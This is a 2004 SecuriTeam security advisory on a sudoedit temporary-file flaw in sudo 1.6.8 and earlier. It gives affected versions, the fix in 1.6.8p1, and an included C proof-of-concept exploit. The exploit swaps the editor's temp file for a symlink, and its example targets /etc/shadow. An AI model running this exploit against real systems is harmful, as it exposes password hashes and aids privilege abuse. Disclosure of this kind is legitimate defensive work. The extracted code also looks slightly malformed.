

[UNIX] Sudo -u Parameter File Exposure

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0020.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/05/04

To: list@securiteam.com

Date: 5 Oct 2004 12:00:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Sudo -u Parameter File Exposure

SUMMARY

<<http://www.sudo.ws/sudo/sudo.html>> Sudo (superuser do) allows a system administrator to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while logging the commands and arguments.

A flaw in exists in sudo's -u option (aka sudoedit) that can give an attacker read permission to a file that would otherwise be unreadable.

DETAILS

Vulnerable Systems:

- * sudo 1.6.8 and prior

Immune Systems:

- * sudo version 1.6.8p1 and newer

While sudoedit runs the actual editor as the invoking user, the temporary file is then re-opened with root privileges. An attacker can run sudoedit, remove the editor temporary file, make a link to an unreadable file with the same name as the old temporary file and quit the editor. The file being edited via sudoedit will now contain a copy of the previously

Securiteam: [UNIX] Sudo -u Parameter File Exposure

unreadable file.

Impact:

Exploitation of the bug requires that the sudoers file be configured to allow the attacker to run sudoedit. If no users have been granted access to sudoedit there is no impact.

Fix:

The bug is fixed in sudo 1.6.8p1.

Exploit:

/*

Copyright Rosiello Security 2004

<http://www.rosiello.org>

sudoedit Exploit

SOFTWARE : sudoedit

REFERENCE: <http://www.sudo.ws/sudo/alerts/sudoedit.html>

DATE: 18/09/2004

Summary:

A flaw in exists in sudo's -u option (aka sudoedit) in sudo version 1.6.8 that can give an attacker read permission to a file that would otherwise be unreadable.

Sudo versions affected:

1.6.8 only

Credit:

Reznic Valery discovered the problem.

All the information that you can find in this software were published for educational and didactic purpose only. The author published this program under the condition that is not in the intention of the reader to use them in order to bring to himself or others a profit or to bring to others damage.

!Respect the law!

How do I use this code ?

To exploit sudoedit you have to open with it the file "rosiello" as shown in the example.

EXAMPLE SCENARIO:

[UNIX] Sudo -u Parameter File Exposure

Securiteam: [UNIX] Sudo -u Parameter File Exposure

- 1) Open two shells (i) and (ii);
- 2) (i)\$sudoedit rosiello;
- 3) (ii)\$./sudoedit-exploit /etc/shadow;
- 4) (i) close sudoedit.

The file "rosiello" is now a copy of "/etc/shadow".

AUTHOR : Angelo Rosiello
CONTACT: angelo@rosiello.org

*/

```
#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <dirent.h>

int main( int argc, char *argv[] )
{
    char PATH[]="/usr/tmp";
    char file[32];
        DIR *tmp;
        struct dirent *de;
    int found = 0;

    printf( "Copyright Rosiello Security 2004\n" );
    printf( "http://www.rosiello.org\n" );

    if( argc!=2 )
    {
        printf( "USAGE: %s file\n", argv[0] );
        return( -1 );
    }

    tmp = opendir ( PATH );
    while ( !found && (de = readdir ( tmp ))!= NULL )
    {
        if ( (strstr(de->d_name, "rosiello") != NULL) )
            {
                if( strlen(de->d_name) > 22 ) return( -1 );
                sprintf( file, "%s/%s", PATH, (char *)de->d_name );
                remove( file );
                if( fork()!=0 )
                {
                    execl( "/bin/ln", "ln", "-s", argv[1], file, NULL );
                }
                wait( );
                printf( "Now you can close sudoedit and reopen rosiello!\n" );
                found=1;
            }
    }
}
```

Securiteam: [UNIX] Sudo -u Parameter File Exposure

```
}  
  
    }  
closedir( tmp );  
  
if( !found )  
    printf( "File Not Found!\n" );  
return( 0 );  
  
}
```

ADDITIONAL INFORMATION

The information has been provided by Reznic Valery.
The exploit code has been provided by <mailto:angelo@rosiello.org> Angelo Rosiello.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.